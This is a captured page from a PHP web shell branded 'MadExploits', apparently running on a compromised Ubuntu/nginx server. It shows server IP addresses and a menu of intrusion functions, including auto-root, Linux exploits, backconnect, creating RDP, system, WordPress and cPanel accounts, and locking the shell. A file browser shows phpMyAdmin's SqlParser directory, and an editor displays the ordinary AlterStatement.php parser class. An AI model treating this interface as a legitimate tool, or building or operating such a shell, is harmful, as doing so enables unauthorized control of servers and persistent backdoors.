Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
php /
PhpMyAdmin /
SqlParser /
Statements /
[ HOME SHELL ]
Name
Size
Permission
Action
AlterStatement.php
3.68
KB
-rw-r--r--
AnalyzeStatement.php
636
B
-rw-r--r--
BackupStatement.php
527
B
-rw-r--r--
CallStatement.php
739
B
-rw-r--r--
CheckStatement.php
527
B
-rw-r--r--
ChecksumStatement.php
451
B
-rw-r--r--
CreateStatement.php
22.39
KB
-rw-r--r--
DeleteStatement.php
11.4
KB
-rw-r--r--
DropStatement.php
1.4
KB
-rw-r--r--
ExplainStatement.php
200
B
-rw-r--r--
InsertStatement.php
7.28
KB
-rw-r--r--
LoadStatement.php
10.81
KB
-rw-r--r--
LockStatement.php
3.41
KB
-rw-r--r--
MaintenanceStatement.php
1.47
KB
-rw-r--r--
NotImplementedStatement.php
1.34
KB
-rw-r--r--
OptimizeStatement.php
641
B
-rw-r--r--
PurgeStatement.php
3.76
KB
-rw-r--r--
RenameStatement.php
1.34
KB
-rw-r--r--
RepairStatement.php
570
B
-rw-r--r--
ReplaceStatement.php
5.21
KB
-rw-r--r--
RestoreStatement.php
477
B
-rw-r--r--
SelectStatement.php
7.26
KB
-rw-r--r--
SetStatement.php
1.98
KB
-rw-r--r--
ShowStatement.php
1.25
KB
-rw-r--r--
TransactionStatement.php
2.29
KB
-rw-r--r--
TruncateStatement.php
747
B
-rw-r--r--
UpdateStatement.php
2.28
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AlterStatement.php
<?php /** * `ALTER` statement. */ declare(strict_types=1); namespace PhpMyAdmin\SqlParser\Statements; use PhpMyAdmin\SqlParser\Components\AlterOperation; use PhpMyAdmin\SqlParser\Components\Expression; use PhpMyAdmin\SqlParser\Components\OptionsArray; use PhpMyAdmin\SqlParser\Parser; use PhpMyAdmin\SqlParser\Statement; use PhpMyAdmin\SqlParser\Token; use PhpMyAdmin\SqlParser\TokensList; use function implode; /** * `ALTER` statement. */ class AlterStatement extends Statement { /** * Table affected. * * @var Expression */ public $table; /** * Column affected by this statement. * * @var AlterOperation[] */ public $altered = []; /** * Options of this statement. * * @var array */ public static $OPTIONS = [ 'ONLINE' => 1, 'OFFLINE' => 1, 'IGNORE' => 2, 'DATABASE' => 3, 'EVENT' => 3, 'FUNCTION' => 3, 'PROCEDURE' => 3, 'SERVER' => 3, 'TABLE' => 3, 'TABLESPACE' => 3, 'VIEW' => 3, ]; /** * @param Parser $parser the instance that requests parsing * @param TokensList $list the list of tokens to be parsed */ public function parse(Parser $parser, TokensList $list) { ++$list->idx; // Skipping `ALTER`. $this->options = OptionsArray::parse( $parser, $list, static::$OPTIONS ); ++$list->idx; // Parsing affected table. $this->table = Expression::parse( $parser, $list, [ 'parseField' => 'table', 'breakOnAlias' => true, ] ); ++$list->idx; // Skipping field. /** * The state of the parser. * * Below are the states of the parser. * * 0 -----------------[ alter operation ]-----------------> 1 * * 1 -------------------------[ , ]-----------------------> 0 * * @var int */ $state = 0; for (; $list->idx < $list->count; ++$list->idx) { /** * Token parsed at this moment. * * @var Token */ $token = $list->tokens[$list->idx]; // End of statement. if ($token->type === Token::TYPE_DELIMITER) { break; } // Skipping whitespaces and comments. if (($token->type === Token::TYPE_WHITESPACE) || ($token->type === Token::TYPE_COMMENT)) { continue; } if ($state === 0) { $options = []; if ($this->options->has('DATABASE')) { $options = AlterOperation::$DB_OPTIONS; } elseif ($this->options->has('TABLE')) { $options = AlterOperation::$TABLE_OPTIONS; } elseif ($this->options->has('VIEW')) { $options = AlterOperation::$VIEW_OPTIONS; } $this->altered[] = AlterOperation::parse($parser, $list, $options); $state = 1; } elseif ($state === 1) { if (($token->type === Token::TYPE_OPERATOR) && ($token->value === ',')) { $state = 0; } } } } /** * @return string */ public function build() { $tmp = []; foreach ($this->altered as $altered) { $tmp[] = $altered::build($altered); } return 'ALTER ' . OptionsArray::build($this->options) . ' ' . Expression::build($this->table) . ' ' . implode(', ', $tmp); } }
Close